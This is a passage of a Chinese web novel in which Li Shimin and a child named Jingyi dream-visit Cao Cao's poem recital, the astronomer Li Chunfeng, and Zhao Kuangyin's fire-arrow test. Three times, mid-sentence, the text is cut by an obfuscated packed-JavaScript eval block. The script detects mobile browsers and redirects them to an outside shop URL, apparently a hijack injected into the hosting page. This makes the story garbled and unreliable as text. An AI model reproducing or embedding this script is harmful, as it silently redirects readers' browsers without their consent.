李世民心中亦是波澜起伏。亲眼见此人此景,方知史书所载“酾酒临江,横槊赋诗”八字,是何等气象!
他扪心自问,若自己处于此番功业巅峰,面对此情此景,是否也能有这般挥洒自如、睥睨古今的豪情?
大概也会有的。他不自觉地被这股豪情感染,胸中块垒似被冲开,连日思虑的沉重暂且抛却,竟也生出几分“大丈夫当如是”的激赏与共鸣,嘴角不知不觉,也泛起一丝笑意。
此时,曹操将槊尖指向江心月影,朗声吟道:
“对酒当歌,人生几何!
譬如朝露,去日苦多。
慨当以慷,忧思难忘。
何以解忧?唯有杜康。”③
诗句苍凉而慷慨,既有对人生短暂的喟叹,更有及时建功的迫切。李世民精通诗文,对这首《短歌行》自然喜爱。
此
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114031|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
诗气韵,确非常人可及。
景颐听得半懂不懂,只觉得调子好听,抑扬顿挫,尤其是“慨当以慷”几个字,念得他小心脏也跟着一颤一颤的,竟不由自主地跟着那韵律,小脑袋一点一点,小手也跟着在空中轻轻打着拍子。
他完全沉浸在这从未体验过的、混合着雄壮、苍凉与激越的奇异氛围里,小脸上满是兴奋的红晕。
曹操吟罢一段,略作停顿,目光扫过席间众臣,扫过连环战船,扫过茫茫大江,复又提高声量,其声更加激昂:
“青青子衿,悠悠我心。
但为君故,沉吟至今。
呦呦鹿鸣,食野之苹。
我有嘉宾,鼓瑟吹笙。”
此句一出,席间文武多有动容。李世民亦是一怔。这求贤若渴之意,殷殷切切,与他“天下英雄入吾彀中”之志,何其相似!
他望着曹操那于豪迈中透出真诚求索的侧影,心中那点因历史结局而生的疏离与批判,竟淡去了几分,取而代之的是一种跨越时空的、对同道者的复杂理解。
景颐更来劲了,他虽然不懂“子衿”、“鹿鸣”的典故,但那“青青”、“呦呦”的叠词好听,节奏明快,他忍不住跟着小声哼哼起来,还模仿着曹操横槊的姿态,捡起地上一根不知谁遗落的短木棍,假装自己也有长槊,笨拙却努力地想要横起来。
曹操浑然不觉有两个跨越时空的旁观者,他已完全沉浸在自身情绪与创作之中,槊尖遥指南岸,声震夜空:
“明明如月,何时可掇?
忧从中来,不可断绝。
越陌度阡,枉用相存。
契阔谈讌,心念旧恩。”
诗句由求贤转入更深沉的忧思与感怀。那“明明如月,何时可掇”之问,何尝不是对圆满功业、对理想境界的渴求与迷茫?
李世民听至此处,方才被带起的豪情稍敛,心中警钟微鸣。巅峰之上,月明至极,然月满则亏,水满则溢。
这诗中流露的忧思,是诗人才情,还是这位一世枭雄,在志得意满之时,心底深处那一丝连自己都未必全然察觉的不安?
他看向曹操。月光下,曹操长髯飘拂,眼中映着江火,豪情之下,那细长的眼眸深处,确有一抹极淡的、难以捕捉的沉郁。
而景颐,听到“忧从中来”,虽不明白具体忧什么,却也能感觉到气氛从刚才的纯粹激昂,变得稍微沉了一点。
他停下挥舞“木槊”,眨巴着眼睛看着曹操,小声对李世民说:“李叔叔,黑胡子爷爷好像有点不高兴了?”
最后,曹操深吸一口江上夜风,将长槊重重一顿,甲板发出“咚”一声闷响,吟出最后、也最为后世传诵的四句:
“月明星稀,乌鹊南飞。
绕树三匝,何枝可依?
山不厌高,海不厌深。
周公吐哺,天下归心!”
“好!好一个‘天下归心’!”席间,一个清瘦的文士忍不住击节赞叹。众文武亦纷纷举杯,齐声贺道:“丞相雄才,天下归心!”
声浪震天,与江涛相应和。
曹操哈哈大笑,举槊向月,意态豪雄,仿佛天下已在掌中。
景颐也被这最后爆发的热烈气氛重新点燃,跟着众人一起“嗷嗷”叫好,举着他的小木棍乱挥,简直比正主还兴奋。
然而,就在这盛宴达到最高潮、豪情与信心似乎膨胀到极致的时刻,梦境毫无征兆地开始波动、淡化。
江月、战船、灯火、曹操那傲然的身影、文武喧哗……
一切如同被水浸湿的壁画,色彩迅速褪去、模糊、溶解。
“哎?怎么没了?”
景颐正挥舞木棍,忽然手上一空,眼前的壮丽景象消失,只剩一片旋转的黑暗,他着急地叫起来,“我还没看够呢!黑胡子爷爷的诗还没念完别的吗?”
李世民亦是心中一空,那澎湃的共鸣与复杂的思虑尚在胸中激荡,场景却已抽离。
他最后一眼,只瞥见曹操在众人的欢呼声中,那转瞬即逝的、微微眯起的眼眸,以及江对岸黑暗中,仿佛潜藏着无尽未知的、沉默的南岸山影。
22.第 22 章
下一瞬,脚踏实地。
仍是立政殿暖阁。秋阳斜照,茶香依旧,书卷还摊在榻上。
李世民缓缓吐出一口长气,仿佛将梦中那江风冷冽、豪情与忧思交织的气息一并吐出。他低头,看向身旁。
景颐也刚“回来”,小脸上兴奋的红潮还未褪尽,眼睛亮得惊人,手还保持着虚握的姿势,仿佛那根小木棍还在。
他抬头,迫不及待地问:“李叔叔!我们是不是又做梦了?去了一个好大好大的水上!那个黑胡子爷爷是谁?他好厉害!诗念得真好听!还有那些船!比宫里的湖还大!”
景颐连珠炮似的问题,带着纯粹的惊叹与欢快,将李世民从深沉的历史思绪中拉回些许。
他笑了笑,揉了揉景颐的脑袋,并未直接回答,而是问:“颐儿喜欢那个爷爷念的诗?”
“喜欢!”景颐用力点头,“虽然有些听不懂,但是感觉、感觉心里热热的,想跟着一起喊!” 他顿了顿,又有些不好意思,
“就是最后,好像黑胡子爷爷自己也有点难过了?是不是诗念得太用力,累了?”
童言稚语,却再次无意中点破关键。
李世民默然。是啊,诗念得太用力,是不是也意味着,心弦绷得太紧?
那“忧思难忘”,那“忧从中来”,那“何枝可依”的彷徨……在“天下归心”的万丈豪情之下,是如此真实而刺眼。
“他不是累了。”李世民望着窗外渐沉的落日,缓缓道,“他是站在太高处,看得太远,想得太多。”
景颐似懂非懂。
几日后,长琴终于回到了凝云轩。
景颐立刻叽叽喳喳将黑胡子爷爷念诗的奇梦说给师父听,还努力模仿那横槊的姿态,背了几句支离破碎的“对酒当歌”。
长琴静静听着,待景颐说完,才看向一旁神色平静却目光深邃的李世民。
“陛下此次所见,非市井虚谈,乃文魄诗魂,附着于浩大历史气运之上,凝结而成的精神景致。”长琴道,
“景颐近来受陛下气运熏陶,灵觉愈敏,方能引陛下同观此象。此象真伪参半,然其中英雄心绪、盛衰之理,却比许多真实史迹,更堪玩味。”
李世民颔首:“我明白。见其豪情,亦见其忧思,慕其功业,亦警其巅危。此梦来得正是时候。” 他顿了顿,问道,“仙长此回流云境,可还顺利?”
长琴眸光微动,掠过一旁正努力回忆诗句的景颐,缓声道:“大致线索已查明。此外,偶翻旧卷,见麒麟一族古记有载,幼麟天赋成长,除血脉与历练外,亦与所近气运的强度与特质有关。陛下身负昌明气运,对景颐而言,既是滋养,亦是牵引。”
他未尽之意,李世民已然领会。景颐能力的成长,与自己息息相关。
窗外,秋意渐深。
——
深秋的长安,天高云淡。
凝云轩里,景颐正对着一盘新得的益智图较劲。这是长孙皇后听说他近日好学,特意命尚功局做的,木片上还描着淡淡的金漆,拼出图案来熠熠生辉。
可他拼了半个时辰,不是这里多一块,就是那里缺个角,总是拼不成画册上那只威风凛凛的老虎。心里那股因为努力学习而憋着的劲儿,渐渐被烦躁取代。
“不玩了!”他把木片一推,决定遵从内心最真实的渴望——出去野。
师父不知道又去了哪里,李叔叔在和大臣们议事,丽质阿姊要学女红,雉奴在睡午觉。嬷嬷们被他以“就在附近走走,绝不出宫”为由暂时稳住。
他像只出了笼的小雀儿,开始在宫苑里漫无目的地探险。路过的侍卫宫女早已见怪不怪,只远远看着,确保他不去危险之处。
不知不觉,他穿过了一片平日少有人至的竹林,眼前出现一座灰瓦青砖、形制有些奇特的独立院落。院门敞开,门楣上悬着块匾,写着两个他刚认得的字——司天。
里面静悄悄的,隐约有股好闻的、类似檀香又混合了纸张和金属的味道飘出来。景颐抽抽鼻子,好奇心大起,蹑手蹑脚地蹭了进去。
景颐扒着门框,探进半个小脑袋。
院子中央立着个巨大的、满是铜环圈圈的古怪家伙,在阳光下闪闪发亮。旁边石台上斜放着一个带刻度的铜盘子。墙角还堆着些奇形怪状的木架和铜器。
“哇……”景颐眼睛亮了。这可比益智图好玩多了!
他蹑手蹑脚溜进去,先凑到浑天仪底下,仰头看那些刻在铜环上的星星点点。看了一会儿,他小手痒痒,踮起脚,伸出食指,小心翼翼地戳了戳最低处一个刻着兔子图案的铜环。
铜环纹丝不动。
他又加了点力。
还是不动。
景颐鼓起腮帮子,后退两步,做出助跑的架势,准备用脑袋撞一下试试。
“咳。”
一声极轻的咳嗽,带着明显的憋笑意,从他身后传来。
景颐吓了一跳,猛地转身,差点左脚绊右脚把自己摔个跟头。幸好一只温暖的手及时扶住了他的小肩膀。
扶他的人,是个穿着浅青色常服、头戴小冠的伯伯。面容清瘦,胡子修剪得整整齐齐,眼睛很亮,正含笑看着他,像看着什么有趣的小动物。
“小友对这浑天仪感兴趣?”伯伯声音温和,松开了手。
景颐站直,有点不好意思,但更多的是好奇:“伯伯,这是什么东西呀?好大的圈圈!”
“此乃浑天仪,用以演示星辰运行。”李淳风耐心解释,指了指天上的太阳,“你看,我们以为日头东升西落,实则大地也在转动。这仪器,便可模拟此理。”
景颐听得半懂不懂,但“演示星星”几个字他听明白了,立刻来了精神:“那它能演示所有星星吗?最亮的那颗!还有、还有牛郎织女星!”
李淳风莞尔:“自然可以。不过牛郎织女,此刻白日不可见,需待七夕之夜,银河清晰时,指与小友看更妙。”
他顿了顿,打量着眼前灵气逼人的孩子,心中已有猜测,“小友可是……住在凝云轩?”
宫里来了位仙长与一孩童,暂居凝云轩,此事虽未张扬,但李淳风身为将仕郎,在太史局供职,掌天文历法,对宫中气运流转最为敏感,早有耳闻,只是未曾得暇亲眼一见。
今日这孩童闯入,观其气息纯净剔透,不染尘浊,与传闻隐隐相符。
“嗯!”景颐点头,毫不设防,“我跟我师父住那儿!伯伯你怎么知道?”
“猜的。”李淳风笑得高深莫测,心中却想,果然是他。他顺势问道,“令师近日可好?听闻是位雅擅音律的高人。”
“我师父可厉害了!”提到师父,景颐立刻眉飞色舞,“他会弹很好听的琴!还能嗖一下飞好远!伯伯你也懂音乐吗?”
“略知一二,不及令师。”李淳风谦道,目光却未离开景颐。
他越看越觉惊奇,此子周身气韵圆融活泼,生机勃勃,与天地自然隐隐相合,绝非修行所得,倒像是天生地养、本该如此的灵秀之姿。这等资质,万中无一。
“小友平日除了听琴,还做些什么?”李淳风引着他在院中石凳坐下,随口问道。
“玩儿!”
景颐答得理直气壮,“跟丽质阿姊踢毽子,陪雉奴看蚂蚁,有时候听李叔叔讲故事,有时候……嗯,有时候会做梦,梦到奇奇怪怪的地方和事儿。”
他想起上次梦到黑胡子爷爷念诗,还有点兴奋。
梦?李淳风心中微动。
常人做梦,不过是日有所思。但这孩子口中的“梦”,结合他的来历,恐怕没那么简单。
他忽然起了兴致,从袖中取出三枚温润的白色河图石,在石桌上随意摆成一个三角形。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116659|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“小友可能看出,这三枚石子,有何关联?”他含笑问道,想看看这孩子直觉如何。
景颐趴在石桌边,托着腮,盯着石子看了半晌,摇摇头:“就是三个白点点呀。”
但他看着看着,忽然伸出手,把其中一枚往旁边推了推,让三枚石子不再成等边三角,而是一个歪歪的钝角三角形。
“这样好像……顺眼一点?”他歪着头说。
李淳风眼中亮光一闪!
这看似孩童随意的举动,竟无意中暗合了今日他演算某个天象数据时,一组略显失衡但更具动态可能性的排列。
此子灵觉之敏锐,对势与衡有天生的直觉。
“有趣,有趣。”李淳风抚须轻笑,将石子收回,“小友觉得顺眼,那便是好的。”
景颐被他夸得有点不好意思,嘿嘿笑了。他觉得这个星星伯伯真不错,说话温和,不嫌他问题多,也不像有些大人总想摸他头。
这时,一阵秋风吹过,柏叶沙沙作响,也把李淳风放在旁边石案上的一卷星图草稿吹开了几页。景颐眼尖,看到上面画着许多弯弯曲曲的线和小点。
“伯伯,这是什么?画画吗?”
“此乃星轨推算草图。”李淳风拿起那卷纸,指着一处解释道,“譬如这颗星,据古记载,应循此道而行。然近来观测,其轨迹似有极细微的偏斜……”
他说着,下意识地用指尖沿着一条虚拟的弧线滑动。
景颐看着他的手指移动,眨了眨眼,忽然道:“伯伯,你的手指,好像我师父调琴弦哦。有时候琴弦松了,声音就会偏一点点,师父就要这样慢慢地、稳稳地把它拧回来。”
李淳风手指一顿,愕然看向景颐。
将星轨偏移比作琴弦松紧?
这比喻乍听稚嫩,细思却玄妙。星辰运行自有其律,如同音律。若有外力扰动或自身周期变化,确如琴弦松紧,需微妙调整方能复归和谐。
这孩子竟能以音律通感天象?
他再次深深看了景颐一眼,心中对那位素未谋面的凝云轩仙长升起了极大的好奇。
能教出这样的弟子,其本人,恐怕不止是擅音律那么简单。或许,该寻个时机,正式拜会一番。
“小友这个比喻,甚妙。”李淳风真心赞道,“令师调音定弦之能,想必已臻化境。不知某是否有幸,他日聆听仙音?”
“等我师父回来,我跟他说!”景颐很乐意帮这个友好的伯伯牵线,“师父有时候会弹琴给李叔叔听,可好听了!伯伯你来,肯定也能听!”
两人又闲聊片刻,景颐问了无数关于星星的问题,从“星星会不会眨眼”到“流星是不是星星太累了掉下来”,李淳风皆耐心解答,不时被孩子的奇思妙想逗得莞尔。
日头渐渐西斜,将院中树影拉得老长。
景颐想起该回去吃点心,也许还能赶上立政殿新做的桂花糕,便跳下石凳:“星星伯伯,我走啦!明天要是没事,我还来找你玩!”
“好。”李淳风起身相送,温言道,“司天台随时欢迎小友。不过下次来,莫要再想着用头撞浑天仪了,它年纪大,不禁撞。”
景颐脸一红,吐了吐舌头,挥挥手,像只快乐的小鹿般蹦跳着跑出了院子。
李淳风站在门口,目送那活泼的身影消失在宫墙拐角,脸上温和的笑意渐渐沉淀为深邃的思索。
他回到院中,重新展开那卷星图,目光落在被景颐无意修正过的石子位置所对应的那片星域。
“凝云轩仙长……”他低声自语,“琴音可调弦,或许亦可调气?这长安城的气运涟漪,近日确有几分不同寻常的律动。看来,非得亲自去拜会一下这位邻居不可了。”
他抬头,望向澄澈的秋日晴空。天际尽头,一道极淡的、唯有他这般常年观星之人方能察觉的微妙光华,正随着日暮,悄然浮现。
23.第 23 章
九月末,一场秋雨落得绵长。雨水洗去了长安最后的燥热,空气里浸满了清冽的草木气息。凝云轩的廊檐下,雨滴串成珠帘。
景颐趴在窗前,伸出小手去接冰凉的雨水,百无聊赖。
师父前日又走了,说是去终南山深处访一处古琴遗迹,归期不定。丽质染了秋咳,被皇后拘在立政殿休养,李治也蔫蔫的陪在姐姐身边。偌大的宫廷,一下子显得空落落。
李世民处理完午后的几件急务,见雨势稍歇,便命人将景颐唤到了甘露殿偏殿。殿内燃着淡淡的龙涎香,驱散潮气。
他见孩子有些没精打采,便招手让他近前,指着一幅刚挂起来的、墨迹未干的水墨画:“看看,阎立本新作的,比上次那幅如何?”
景颐对画懂什么?只觉得山黑黢黢,云白茫茫,小人儿还没蚂蚁大。
他瘪瘪嘴,老实地摇头:“看不懂。” 目光却被李世民书案一角,一枚新得的、天然生有火焰纹的鸡血石镇纸吸引,那赤红流转的光泽,比画好看多了。
李世民见他兴致不高,无奈摇头,也不再谈画,随手拿起一本昨日与房玄龄等人议过的、关于军器监弩机改良的条陈,沉吟着。
如何能让军械更利,震慑更强,又不至于使边将因器而骄?这其中的平衡,颇费思量。他无意识地摩挲着那枚温润的鸡血石镇纸,指尖传来微热的触感,思绪却飘向了更远处。
景颐凑了过来,见李叔叔盯着镇纸出神,便也伸出小手,好奇地摸了摸那火焰纹。石头暖暖的,纹路在指下滑过,有点痒。
就在两人指尖一同触碰到镇纸上最浓烈的那抹赤红时,意识一同坠入黑暗。
没有之前的眩晕坠落感,这一次,感觉像是被一股温暖而敦实的气流包裹着,轻轻向前一送。眼前殿内的景象如水波荡漾,迅速模糊、褪色。
耳边先听到的,是极其洪亮、穿透力极强的报晓钟声,紧接着是密集的、如同暴雨敲打屋瓦般的脚步声和低语声。天光尚未大亮,一片鱼肚白的朦胧。
脚下一实,两人半透明的身影,已站在一处极其开阔、由巨大青石板铺就的广场边缘。
广场前方,是巍峨耸立、形制与大唐宫殿迥异的宫阙,斗拱宏大,鸱吻狰狞,在黎明前的微光中显得格外森严。
广场上,黑压压站满了身着各色官袍的官员,文左武右,排列得密密麻麻,怕不下数百人。所有人皆屏息静气,垂首肃立。寒风料峭,吹得人袍袖翻飞。
“这又是何处朝会?竟如此早?”李世民心中惊异。他大唐常朝也没这般早,且人数似更多,规制更严整。
景颐则被这阵仗吓了一小跳,缩在李世民身边,小声道:“好多人,都不说话,像木头。”
就在这时,前方宫门缓缓洞开。一名宦官打扮的人尖着嗓子高喊:“百官——入朝——”
官员队伍开始如潮水般,无声而有序地向前移动。李世民与景颐被这人流裹挟着,也向前飘去。
穿过重重宫门,最终进入一座大殿。殿内灯火通明,照得如同白昼。官员们按品级跪坐于席,寂静无声。
御阶之上,龙椅之中,坐着一个人。
李世民定睛看去,不由一怔。
那是一位约莫四十出头的中年男子,生得……颇为富态。面庞圆润,皮肤黝黑,留着短须,一双眼睛不算大,却极有神,开阖之间精光隐现。
他头戴展角幞头,身着赭黄圆领常服,身材敦实,坐在那里,不怒自威,有一种更为内敛、沉稳、仿佛山岳般不可撼动的厚重感。
尤其让李世民侧目的是,这位皇帝似乎精神头极好。这么早的朝会,他眼中毫无倦色,反而透着一种锐利的清明,目光缓缓扫过殿下群臣,仿佛能将每个人的心思都看透几分。
“这皇帝,倒像个军中悍卒出身,却又多了几分城府。”李世民暗忖。
景颐也看到了龙椅上的人,眨巴眨巴眼,忽然“咦”了一声,扯扯李世民的袖子,用极低的气音说:“李叔叔,这个黑胖子叔叔说话的口音,我好像在哪听过,有点点像、像我爹上次说话的那个调调!”
他努力回忆亲爹那夹杂着天南海北口音,觉得隐约有点相似,但又说不真切。
李世民闻言,心中微动。景颐那神秘的父亲……
此时,朝会开始。有官员出列奏事,内容多是淮南粮赋、川蜀盐政、北边契丹动向等。
龙椅上的黑胖皇帝听得极其认真,不时发问,问题往往切中要害,言语简洁,却带着一种不容置疑的决断力。他说话的口音,确实与长安官话略有不同,更硬朗直白些。
李世民越听越是赞叹。此君理政,条理清晰,务实至极,且对财政、军事细节把控极严,与崇尚恢弘气度、更重战略方向的自己风格迥异,却另有一种可怕的效率。
冗长的朝会终于结束。官员们鱼贯退出。那黑胖皇帝也站起身,活动了一下脖颈,对身旁近侍说了句什么,竟径直向后殿走去。
“跟上去看看。”李世民低声道。他对这位气质独特的帝王产生了浓厚兴趣。
两人跟着皇帝,七拐八绕,竟从一处侧门出了宫城。皇帝换了身更普通的短褐,戴了顶遮阳的笠子,大摇大摆地走进了清晨刚刚苏醒的汴梁街市。
此时天光已大亮。街市逐渐热闹起来。卖炊饼的、挑菜担的、吆喝浆洗的、赶着驴车运货的……人来人往。李世民仔细观察,眉头却微微蹙起。
这里的市井,与他之前梦见的市井繁华从容不同,也与大唐长安的自信开放有异。百姓衣着大多朴素,甚至有些破旧,面色大多带着劳作的疲惫与一种难以言说的警惕。
街面还算整洁,但建筑物不少显得低矮陈旧,仿佛刚经历过大修整,却尚未恢复元气。人们的眼神里,少了些盛世的张扬,多了些乱世遗存的警觉与务实。
“此地百姓,气象为何如此?”李世民心中疑惑,“这朝廷规制严整,皇帝精明强干,何以市井间却似有未纾之困?”
景颐可没想那么多,他一出宫就被市井的烟火气吸引了。尤其是看到那黑胖皇帝熟门熟路地走到一个早点摊前,一屁股坐在条凳上,拍出几文钱,豪气道:“老陈,两碗胡辣汤!再来四个油馍头!”
“好嘞!赵大哥您稍坐!”摊主是个满脸褶子的老汉,显然与这赵大哥极熟,手脚麻利地盛汤。
很快,两碗热气腾腾、浓稠喷香、飘着厚厚一层糊葱花、内里还有面筋、豆皮等物的汤羹端了上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122622|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来,配着炸得金黄酥脆的油馍头。
那赵大哥——赵匡胤,也不嫌烫,稀里呼噜喝得山响,额角很快见了汗,嘴里还含糊地跟摊主唠着家常,问最近生意如何,有没有泼皮滋事,官吏可还公道。
景颐趴在桌子上,眼睛都直了!
那汤看着又浓又香,还有炸得脆生生的馍头!他这几天在宫里吃得清淡,此刻被这强烈的市井香气一冲,口水差点流出来,小肚子不争气地“咕噜”叫了一声。
他扯着李世民衣角,眼巴巴地说:“李叔叔,那个汤看着好好吃!这个黑胖子叔叔吃得好香!”
李世民也被这皇帝亲民、毫无架子的做派惊了一下,随即又被那从未见过的胡辣汤吸引了目光,闻着是挺香辣扑鼻。
他察觉身边动静,一低头,看见景颐那副馋猫模样,差点失笑,这孩子……
他正要伸手将这小馋虫拉回来,免得他“掉”进人家碗里。
正低头喝汤的赵匡胤,端着碗的手几不可察地微微一顿。
紧接着,他猛然抬起了头!
那双原本带着满足惬意、与摊主闲话家常时随和的眼睛,在抬起的瞬间,骤然变得锐利如鹰隼。
他的目光精准地、带着疑惑和本能的警觉,直直射向李世民和景颐所在的、本应空无一物的虚空方位。
一瞬间,李世民甚至感到一股无形的、久经沙场锤炼出的敏锐直觉混合着帝王特有的警觉气场,如同利刃,刺破了梦境的隔膜,几乎要钉在他身上!
此人竟能察觉?!
李世民心中剧震,一手迅速将景颐拉至身后,另一手放在了腰间的佩剑上,屏住呼吸,连自身半透明的梦影都仿佛凝滞了一瞬。
景颐也被这突如其来的凌厉目光吓了一跳,缩了缩脖子,躲在李世民身后,不敢再往前凑。
赵匡胤的目光在那片虚空停留了大约两三息。他眉头微蹙,黝黑的脸上掠过一丝极淡的困惑,仿佛在确认什么,又仿佛只是觉得那里有阵风不对。他甚至还微微偏了偏头,侧耳细听。
但终究,他什么也没看见,什么也没听见。只有清晨的微风拂过街面,卷起几片落叶。
“……错觉?”赵匡胤低声嘟囔了一句,摇了摇头,似乎觉得自己一大早出来,怕是还没完全清醒。
他脸上那慑人的锐利迅速消退,又重新变回了那个豪爽吃汤的赵大哥,笑了笑,低下头,继续稀里呼噜对付他那碗胡辣汤,仿佛刚才那凌厉的一瞥从未发生过。
李世民直到这时,才缓缓松开了紧握手剑柄的手,心中惊涛骇浪稍平。他深深地看了一眼那个埋头喝汤的黑胖身影,眼神里充满了前所未有的凝重与审视。
此人绝非仅凭武力得天下。这份于市井嘈杂当前时仍能保持着敏锐的直觉与警觉,这份收放自如的凌厉,是个极厉害、极难对付的人物。
李世民心中对这位“赵大哥”的评价,陡然又拔高了几分,甚至生出了一丝棋逢对手般的兴奋。
景颐则完全不明白发生了什么,只觉得黑胖子叔叔刚才眼神好吓人,现在又没事了。
他心有余悸地拍拍小胸口,再不敢往前凑,但还是忍不住小声抱怨:“……吓我一跳,汤都不香了……”
24.第 24 章
赵匡胤很快吃完,抹了把嘴,又跟摊主闲扯几句,这才起身,背着手,继续在街市上溜达。
他时不时停下,跟卖菜的老农聊聊收成,跟铁匠铺的师傅问问生意,甚至还在一个卖儿童玩具的摊前,拿起个拨浪鼓摇了摇,咧嘴笑了笑。
百姓见了他,都笑着打招呼,态度亲切自然,显然真把他当成个豪爽的富户或小吏,浑然不知这便是当今天子。
李世民默默看着,心中五味杂陈。此等君王,与民无间,洞察下情,固然是优点。但观此市井风貌,民生似仍艰涩,此人肩头担子,恐怕不轻。
逛了约莫半个时辰,赵匡胤才心满意足地往回走,却不是回宫,而是拐进了皇城附近一处戒备明显森严、挂着“军器监”牌匾的院落。
院落深处,一片空地上,早已有数名官员和工匠等候。见赵匡胤进来,连忙行礼。
一名穿着绿袍、面容精干、眼神里透着兴奋的官员上前一步,躬身道:“陛下,匠作监冯继升,奉旨研制火箭新法,今日已成,特请陛下御览!”
赵匡胤眼睛一亮,挥挥手:“快!让俺瞧瞧!”
冯继升领命,示意手下工匠准备。只见两名工匠小心翼翼地从一旁木箱中,取出一支形制特异的箭。
箭杆比寻常箭矢粗一些,箭簇后方,紧紧绑缚着一个粗如儿臂、长约半尺的厚纸筒,纸筒尾部露出一截寸许长的药捻,箭尾的羽毛也经过特殊加固。
空地另一端,百步之外,立着一个裹着厚皮革的木靶。
工匠将箭搭在一张特制的强弓上,另一人用火折点燃药捻。
“嗤——”
药捻急速燃烧,冒出白烟。
“放!”
弓弦响处,箭矢离弦!
但它的速度,远超寻常箭矢!如同一道黑影,尾部拖曳着炽烈的橙红色火焰和滚滚浓烟,发出一种尖锐的的“咻——呜——”破空声,划过空地,以肉眼几乎难以捕捉的速度,直扑木靶!
就在箭矢即将命中靶心的刹那,
“轰!!!”
一声沉闷如夏日远雷、却又近在咫尺的巨响猛然炸开!
那木靶被一团骤然爆开的火球整个吞没。烈焰腾起数尺,皮革焦裂,木屑纷飞,浓烟裹着刺鼻的硝磺气味弥漫开来。
巨大的声浪和气浪,甚至让远处旁观的人群都感到面部一热,不由自主后退半步。
空地上一片寂静,唯有靶子燃烧的噼啪声和弥漫的硝烟。
赵匡胤猛地瞪大了眼睛,黝黑的脸上先是极度的震惊,随即化为狂喜,忍不住大步上前,盯着那燃烧的残靶,抚掌大笑:“好!好个火箭!声若霹雳,疾如流星,爆裂如火!冯卿,大功一件!”
冯继升与工匠们亦是满面红光,激动不已。
而旁观者的李世民,此刻心中已掀起滔天巨浪!
他一眼不眨地盯着那兀自燃烧、已彻底毁坏的木靶,盯着空中尚未散尽的硝烟,耳中似乎还在回荡那雷霆般的爆响。
作为统帅千军万马的帝王,他瞬间就明白了这意味着什么!超远的射程,惊人的速度,尤其是最后那一下爆裂的威力。
若将此物用于战场,用于守城,用于震慑,其效果,简直不可想象!
他感到自己的心跳在加速,血液在奔涌,那是一种混合着震撼、以及难以抑制的渴望。
景颐的反应则直接得多。他被那突如其来的巨响和火光吓得“嗷”一嗓子,差点跳起来,下意识就往李世民身后躲。
但害怕过后,看着那燃烧的靶子和空中消散的烟迹,孩子的好奇心又占了上风。他探出小脑袋,眼睛瞪得溜圆,指着那边,声音因兴奋而有些发颤:“李、李叔叔!你看!箭会叫!还会放火!像小喷火龙!好厉害!比爆竹响多了!”
他还记得前些日子西市新铺开张时放的爆竹,可跟这个比起来,简直是蚊子和打雷的区别。
“喷火龙……”李世民喃喃重复,目光依旧死死锁在那边。赵匡胤已经开始详细询问冯继升关于火药配比、制作难点、储存安危等问题,言辞间极为务实,显然已在思考如何将其真正转化为军力。
或许是这番火器演示蕴含的能量与意念太过强烈集中,或许是景颐初次接触如此爆裂的未来器物刺激了灵觉,梦境变得有些不稳。
就在这时,梦境开始波动。
眼前的景象——兴奋的赵匡胤、燃烧的靶子、弥漫的硝烟,开始扭曲、拉长,如同水面倒影被石子打乱。
“哎?怎么又要没了?”景颐不满地嘟囔,他还想再看看那“小喷火龙”呢。
李世民亦是一惊,他还有太多细节想问,想看清那纸筒里的药粉究竟是何模样。
但来不及了。
光影彻底碎裂。
甘露殿偏殿。
李世民睁开眼,胸膛微微起伏,额角竟有薄汗。窗外秋雨不知何时已停,夕阳的余晖透过窗棂,在光洁的金砖上投下长长的、温暖的光斑。
他第一时间看向身旁。
景颐也醒了,正揉着眼睛坐起来,小脸上还残留着梦中的兴奋与一丝未散的惊吓。
他抬头,看见李世民,立刻迫不及待地分享:“李叔叔!我们又做梦了!去了一个好早好早就要上朝的地方!那个黑胖子叔叔还去吃香香的汤!然后我们还看到会叫会喷火的箭!砰!好大声!靶子都烧没了!”
孩子手舞足蹈地比划着,试图重现那火箭发射的场景,小嘴“咻——砰!”地配着音,眼睛亮晶晶的。
李世民没有立刻说话。他伸出手,缓缓握住了书案上那枚鸡血石镇纸。石头依旧温润,火焰纹在夕照下仿佛真的在流动、燃烧。
喷火的箭,声若霹雳,爆裂如火……
赵匡胤那张务实而锐利的面孔,冯继升激动的神情,街市百姓疲惫中带着期望的眼神……
还有那震撼人心的、橘红色的爆裂火球,在他脑中交织、碰撞。
“是啊……”李世民终于开口,声音有些沙哑,他轻轻摩挲着镇纸上的火焰纹,目光投向窗外渐沉的暮色,仿佛要穿透宫墙,望向不可知的未来,“看到了一种很不一样的东西。”
他的眼神深邃,那里有震撼后的余悸,有帝王本能的警觉,更有一种深沉而炽热的思索。
